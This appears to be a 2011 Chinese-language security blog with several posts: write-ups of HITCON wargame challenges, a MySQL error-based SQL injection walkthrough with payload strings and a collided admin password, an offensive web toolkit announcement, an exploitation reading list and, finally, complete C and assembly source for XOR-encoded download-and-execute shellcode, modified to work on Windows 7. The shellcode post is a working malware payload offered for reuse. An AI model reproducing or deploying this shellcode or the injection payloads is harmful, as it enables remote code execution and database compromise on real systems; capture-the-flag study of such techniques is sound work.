2011年7月24日 星期日
台灣駭客年會 HITCON2011,Wargame Binary 3出題心得 & 解法
心得:很久以前就想出一題類似要輸入↑ ↑ ↓ ↓ ← → ← → B A會跳key的題目了XD
題目下載點 from rsghost
小時候的回憶,特訓99 XD
用UPX加殼過後有改過OEP,For fun,讓檢測殼軟體(Ex: Peid)混淆XD
很簡單的殼,脫殼可以靠ESP定律,或者看得出是UPX直接bp popad可以找到最原始的OEP
這個遊戲其實有DEBUG MODE的,開啟原始遊戲後可以用Winhex或者Dump memory觀察到
reset
another
omitback
simpleback
fullback
chicken
quit
butterfly
maniac
paranoia
booston
off
paranoiamax
hequil
basia
quti
version
test
slow
love
desu?
有這些指令可以使用,這題透過修改其中一個的字串以前對應的函數來出題
只要在遊戲開始輸入
c (倒退鍵) a (倒退鍵) (倒退鍵) b (倒退鍵) (倒退鍵) (倒退鍵)
就可以取得Key
開啟遊戲時會將DEBUG String xor解碼,所以未執行直接觀察原始檔會找不到有甚麼有意義的字串
位置在 0x00401242,xor的key是0xff
這題的解法當初是設想需要Condition BreakPoint Message Queue的 KeyDown Event來進行Trace
追的過程中會發現修改了0x0040394A改成了一個長jmp
這題還滿多人解出來的XD
不過應該都不是用靠輸入key的方式 :P
台灣駭客年會 HITCON2011,Wargame Web 4出題心得 & 解法
心得是現在大多數的人對於SQL injection (Mysql)都是union加上information_schema取得資料
但是並不是那麼的簡單,SQL injection其實是一門非常深的學問,就出了這題XD
這個方法最早是在大陸的文章看到,後來有分析到國外的一套SQL自動化攻擊工具havij,裡面也有用到類似的方式。
一個登入介面,題目是
If you can login, You can get the key.
登入畫面
可以明顯發現確認使用者的頁面存在SQL injection
也可以發現
不能使用union --> 因為只會顯示True or False,不可能列出任何資訊
不能使用Information_schema --> 假想環境是在mysql4上面運行,在Mysql4以前沒有這個資料庫,這題是我自己patch mysql主程式所以使用不了information_schema查table name以及column name
不能使用blind injection or time base injection --> 因為無法取得column name不能取得資料
但是,發現他是Error base的Injection。
可以利用Duplicate column name的方式來注入
Example:
在Mysql Commandline下輸入:
Select * from (Select 1,1) as a
會顯示
ERROR 1060 (42S21): Duplicate column name '1'
利用Error base的方式像SQL server一樣可以把想要的資料出現在錯誤訊息中。
但是要利用這個爆出非CONST以外的還需要配合NAME_CONST這個函數來達成
For Example:
但是NAME_CONST在Mysql 5.1後被Update了不能使用非常量CONST以外的參數,但是還是有其他的方法的,有興趣可以自己去Google這裡就不詳談了 :P
所以可以利用以下的方式爆出 Column name
id=test' and (Select * from (Select * from users as a join users as b) as c) and ''='
id=test' and (Select * from (Select * from users as a join users as b using(column name)) as c) and ''='

wpw_d7862549d4ed8f82
wpw_d7862549d4ed8f82
繼續利用NAME_CONST爆出其中的資料
Example:
可以取得
admin / 0b79f46808458afb
在登入頁面的地方也可以發現輸入單引號也會顯示SQL error,仔細觀察會發現是使用Mysql的old_password來對密碼進行加密。
在Mysql4以前password儲存的方式是透過old_password這個函數進行加密的,實際上這個加密方式存在弱點能被很快速的碰撞(Collision)出來
網路上可以找到現成的工具,約20~30分鐘可以撞出一組hash值與上面一樣的密碼
我自己碰撞的結果是這組
Select old_password('!H6~a`"~H\\DN>');
出來的結果與上面的hash值是一樣的,所以使用admin / !H6~a`"~H\DN> 即可登入取得Key。
:P 解題愉快XD
沒解出來至少有學到新東西吧 :P
有機會再把出的另外一題Web以及Windows Binary解題過程寫出XD
2011年5月22日 星期日
[Project] Web Security Toolkit
以前為了方便寫的小工具
最近改版越寫越有興趣就變成自己的一個小Project了XDD
整個重新用Python寫了約4000行左右XD
UI也用wxPython的AUI改過
現有功能:
Senstive file, directory Scanner
Encoder / Decoder
SQL injector
Access
SQL server
SQL server blind
Mysql
Mysql blind
Advanced SQL injector
Mysql load_file
Mysql into outfile
Mssql List Directory
Mssql Execute command
Mssql Log backup a webshell
Mssql Backup a webshell with different
PHP & ASP eval write webshell
有努力的解決SQL injector通用性的問題XD
目前應該只有私底下好友Release版本
應該會在加入Oracle injection以及Time base SQL injection的功能
等2.0在正式發行Release版吧~XD
目前徵求好聽的名字中XD
ScreenShot
2011年4月19日 星期二
整理
最近的一些學習資料整理這樣XD
About歷史:
Memory Corruption Attacks The (almost) Complete History
https://media.blackhat.com/bh-us-10/whitepapers/Meer/BlackHat-USA-2010-Meer-History-of-Memory-Corruption-Attacks-wp.pdf
Past, Present, Future of Windows Exploitation
http://www.abysssec.com/blog/2010/05/past-present-future-of-windows-exploitation/
About Heap Spray:
Heap Feng Shui in JavaScript
http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf
About JIT Spray:
Interpreter Exploitation: Pointer Inference and JIT Spraying
http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf
Writing JIT-Spray Shellcode for fun and profit
http://bbs.pediy.com/showthread.php?p=776730
About ROP:
Return-Oriented Exploitation
https://media.blackhat.com/bh-us-10/presentations/Zovi/BlackHat-USA-2010-DaiZovi-Return-Oriented-Exploitation-slides.pdf
Bypass DEP with WPM & ROP Case Study : Audio Converter by D.R Software Exploit and Document by Sud0
http://www.exploit-db.com/download_pdf/13764/
簡體中文翻譯
http://riusksk.blogbus.com/logs/73847721.html
About Writing Exploit:
Exploit Writing Tutorials
http://www.corelan.be/index.php/category/security/exploit-writing-tutorials/
簡體中文翻譯
http://bbs.pediy.com/showthread.php?t=101217
2011年4月18日 星期一
Download_Exec shellcode fix & for Windows 7
很久沒打網誌了丟些來湊篇幅XD
某些需求,需要Download and Exec file的shellcode,而且要For win7也可以work的
網路上找不到經指點只好自己改
改的時候才發現還是有些問題XD
shellcode原始版本 From
http://www.exploit-db.com/exploits/13529/
* Author : lion
* : lion#cnhonker.net
* : http://www.cnhonker.com
首先是發現當網址長度 > 40 bytes時shellcode執行會失敗
實際去追蹤後發現出錯點位於decode shellcode中發生問題
第314行
mov cl,0xFF
cl放的是要被解碼shellcode的offset偏移量,會被程式動態patch,最長只有到255
shellcode_decode 21 bytes
shellcode_main 194 bytes
網址長度 X bytes
當21 + 194 + X > 255時就會出錯
所以修改一下
mov cl, 0xff
Opcode為 B1 FF
mov ecx, 0xff
Opcode為 B9 FF 00 00 00
再把#DEFINE的偏移量+3 bytes以及修改判斷動態patch的部分即可
至於通用性的問題
在 Windows XP / 2k / 2k3可成功,Windows 7失敗的原因在於
由於這隻shellcode是透過PEB取得ImageBase,WIndows 7後會再Kernel32.dll前先載入kernelbase.dll,所以造成ImageBase取錯
改法也很簡單,判斷取得dll名稱的長度即可XD
詳細細節可參閱:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
http://bbs.pediy.com/showthread.php?t=122260
http://bbs.pediy.com/showthread.php?t=99007
修改後版本XD
/*
*-----------------------------------------------------------------------
*
* downloadurl_v31.c - Download file and exec shellcode for Overflow exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author : lion
* : lion#cnhonker.net
* : http://www.cnhonker.com
* :
* Date : 2003-08-15
* :
* Update : 2004-05-05 v3.1
* : 2004-01-08 v3.0
* : 2003-09-10 v2.0
* : 2003-08-15 v1.0
* :
* Tested : Windows 2000/Windows XP/windows 2003
* :
* Notice : 1. 通過peb取得kernel32.dll地址。
* : 2. 通過函數的hash值來進行比較,代替GetProcAddress取得函數地址,節省函數名佔用的空間。
* : 3. 利用循環獲取hash值和函數地址,節省空間。
* : 4. 下載url文件並執行。
* : 5. 用vc6可以命令行直接編譯,方便修改。
* : 6. win2000/winxp/win2003 下測試成功。
* : 7. 比較小巧,長度為241 bytes。
* :
* Complie : cl downloadurl_v31.c
* :
* Reference: http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
* : http://www.metasploit.com/shellcode.html
*
*------------------------------------------------------------------------
*/
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
// Use for find the ASM code
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
#define SEARCH_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN 8
#define MAX_SC_LEN 2048
#define HASH_KEY 13
// Define Decode Parameter
#define DECODE_LEN 24
#define SC_LEN_OFFSET 7
#define ENC_KEY_OFFSET 14
#define ENC_KEY 0x99
// Define Function Addr
#define ADDR_LoadLibraryA [esi]
#define ADDR_GetSystemDirectoryA [esi+4]
#define ADDR_WinExec [esi+8]
#define ADDR_ExitProcess [esi+12]
#define ADDR_URLDownloadToFileA [esi+16]
//#define ADDR_URL edi
// Need functions
unsigned char functions[100][128] =
{ // [esi] stack layout
// kernel32 4 // 00 kernel32.dll
{"LoadLibraryA"}, // [esi]
{"GetSystemDirectoryA"}, // [esi+4]
{"WinExec"}, // [esi+8]
{"ExitProcess"}, // [esi+12]
//("ExitThread"},
//{"TerminateProcess"},
// urlmon 1 // 01 urlmon.dll
{"URLDownloadToFileA"}, // [esi+16]
{""},
};
// Shellcode string
unsigned char sc[1024] = {0};
unsigned char url[]=
"http://127.0.0.1/calc.exe\x00";
// ASM shellcode main function
void ShellCode();
// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
DWORD h = 0;
while ( *c )
{
__asm ror h, HASH_KEY
h += *c++;
}
return( h );
}
// Print Shellcode
void PrintSc(unsigned char *sc, int len)
{
int i,j;
char *p;
char msg[6];
//printf("/* %d bytes */\n", buffsize);
// Print general shellcode
for(i = 0; i < len; i++)
{
if((i%16)==0)
{
if(i!=0)
printf("\"\n\"");
else
printf("\"");
}
//printf("\\x%.2X", sc[i]);
sprintf(msg, "\\x%.2X", sc[i] & 0xff);
for( p = msg, j=0; j < 4; p++, j++ )
{
if(isupper(*p))
printf("%c", _tolower(*p));
else
printf("%c", p[0]);
}
}
printf("\";\n");
}
void Make_ShellCode()
{
unsigned char *pSc_addr;
unsigned int Sc_len;
unsigned int Enc_key=ENC_KEY;
unsigned long dwHash[100];
unsigned int dwHashSize;
int i,j,k,l;
// Get functions hash
printf("[+] Get functions hash strings.\r\n");
for (i=0;;i++)
{
if (functions[i][0] == '\x0') break;
dwHash[i] = GetHash((char*)functions[i]);
printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
}
dwHashSize = i*4;
// Deal with shellcode
pSc_addr = (unsigned char *)ShellCode;
for (k=0;k<MAX_SC_LEN;++k )
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
{
break;
}
}
pSc_addr+=(k+SEARCH_LEN); // Start of the ShellCode
for (k=0;k<MAX_SC_LEN;++k)
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
break;
}
}
Sc_len=k; // Length of the ShellCode
memcpy(sc, pSc_addr, Sc_len); // Copy shellcode to sc[]
// Add functions hash
memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
Sc_len += dwHashSize;
// Add url
memcpy(sc+Sc_len, url, sizeof(url)-1);
Sc_len += sizeof(url)-1;
// Print the size of shellcode.
printf("[+] %d + %d + %d = %d bytes shellcode\n", DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len);
// Print the ip/port offset
for(k=0; k <= Sc_len-3; ++k)
{
if(sc[k] == 0x00 && sc[k+1] == 0x35)
printf("/* port offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
if(sc[k] == 0x7F && sc[k+3] == 0x01)
printf("/* ip offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
}
/*
for(i=DECODE_LEN; i<Sc_len; i++)
{
sc[i] ^= Enc_key;
}
*/
// Print shellcode
//PrintSc(sc, Sc_len);
// Deal with find the right XOR byte
for(i=0xff; i>0; i--)
{
l = 0;
for(j=DECODE_LEN; j<Sc_len; j++)
{
if (
((sc[j] ^ i) == 0x26) || //%
((sc[j] ^ i) == 0x3d) || //=
((sc[j] ^ i) == 0x3f) || //?
((sc[j] ^ i) == 0x40) || //@
((sc[j] ^ i) == 0x00) ||
((sc[j] ^ i) == 0x0D) ||
((sc[j] ^ i) == 0x0A)
) // Define Bad Characters
{
l++; // If found the right XOR byte£?l equals 0
break;
};
}
if (l==0)
{
Enc_key = i;
//printf("[+] Find XOR Byte: 0x%02X\n", i);
for(j=DECODE_LEN; j<Sc_len; j++)
{
sc[j] ^= Enc_key;
}
break; // If found the right XOR byte, Break
}
}
// Deal with not found XOR byte
if (l!=0)
{
printf("[-] No xor byte found!\r\n");
exit(-1);
}
// Deal with DeCode string
if (Sc_len > 0xff)
*(unsigned char *)&sc[SC_LEN_OFFSET + 1] = Sc_len >> 8;
*(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
*(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;
// Print decode
printf("/* %d bytes decode */\r\n", DECODE_LEN);
PrintSc(sc, DECODE_LEN);
// Print shellcode
printf("/* %d bytes shellcode, xor with 0x%02x */\r\n", Sc_len-DECODE_LEN, Enc_key);
PrintSc((unsigned char*)sc+DECODE_LEN, Sc_len-DECODE_LEN);
printf("[+] download url:%s\n", url);
}
void main()
{
DWORD addr;
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
Make_ShellCode();
addr = (DWORD)≻
__asm
{
jmp addr
}
return;
}
// ShellCode function
void ShellCode()
{
__asm
{
PROC_BEGIN // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
jmp short decode_end
decode_start:
pop ebx // Decode start addr (esp -> ebx)
dec ebx
xor ecx,ecx
mov ecx,0xFF // Decode len
decode_loop:
xor byte ptr [ebx+ecx],0x99 // Decode key
loop decode_loop
jmp short decode_ok
decode_end:
call decode_start
decode_ok:
//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
jmp sc_end
sc_start:
pop edi // Hash string start addr (esp -> edi)
xor ecx, ecx
// Get kernel32.dll base addr
mov eax, fs:0x30 // PEB
mov eax, [eax+0x0c] // PROCESS_MODULE_INFO
mov esi, [eax+0x1c] // InInitOrder.flink
next_module:
//lodsd // eax = InInitOrder.blink
mov edx, [esi+8] // ebp = kernel32.dll base address
mov ebx, [esi+0x20]
mov esi, [esi]
cmp [ebx+12*2], cl
jne next_module
mov ebp, edx
mov esi, edi // Hash string start addr -> esi
// Get function addr of kernel32
push 4
pop ecx
getkernel32:
call GetProcAddress_fun
loop getkernel32
// Get function addr of urlmon
push 0x00006e6f
push 0x6d6c7275 // urlmon
push esp
call ADDR_LoadLibraryA // LoadLibraryA("urlmon");
mov ebp, eax // ebp = urlmon.dll base address
/*
push 1
pop ecx
geturlmon:
call GetProcAddress_fun
loop geturlmon
*/
call GetProcAddress_fun
// url start addr = edi
//LGetSystemDirectoryA:
sub esp, 0x20
mov ebx, esp
push 0x20
push ebx
call ADDR_GetSystemDirectoryA // GetSystemDirectoryA
//LURLDownloadToFileA:
// eax = system path size
// URLDownloadToFileA url save to a.exe
mov dword ptr [ebx+eax], 0x652E615C // "\a.e"
mov dword ptr [ebx+eax+0x4], 0x00006578 // "xe"
xor eax, eax
push eax
push eax
push ebx // %systemdir%\a.exe
push edi // url
push eax
call ADDR_URLDownloadToFileA // URLDownloadToFileA
//LWinExec:
mov ebx, esp
push eax
push ebx
call ADDR_WinExec // WinExec(%systemdir%\a.exe);
Finished:
//push 1
call ADDR_ExitProcess // ExitProcess();
GetProcAddress_fun:
push ecx
push esi
mov esi, [ebp+0x3C] // e_lfanew
mov esi, [esi+ebp+0x78] // ExportDirectory RVA
add esi, ebp // rva2va
push esi
mov esi, [esi+0x20] // AddressOfNames RVA
add esi, ebp // rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, HASH_KEY // hash key
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] // compare to hash
jnz short find_start
pop esi // ExportDirectory
mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA
add ebx, ebp // rva2va
mov cx, [ebx+ecx*2] // FunctionOrdinal
mov ebx, [esi+0x1C] // AddressOfFunctions RVA
add ebx, ebp // rva2va
mov eax, [ebx+ecx*4] // FunctionAddress RVA
add eax, ebp // rva2va
stosd // function address save to [edi]
pop esi
pop ecx
ret
sc_end:
call sc_start
PROC_END //C macro to end proc
}
}
// milw0rm.com [2004-10-25]
訂閱:
文章 (Atom)













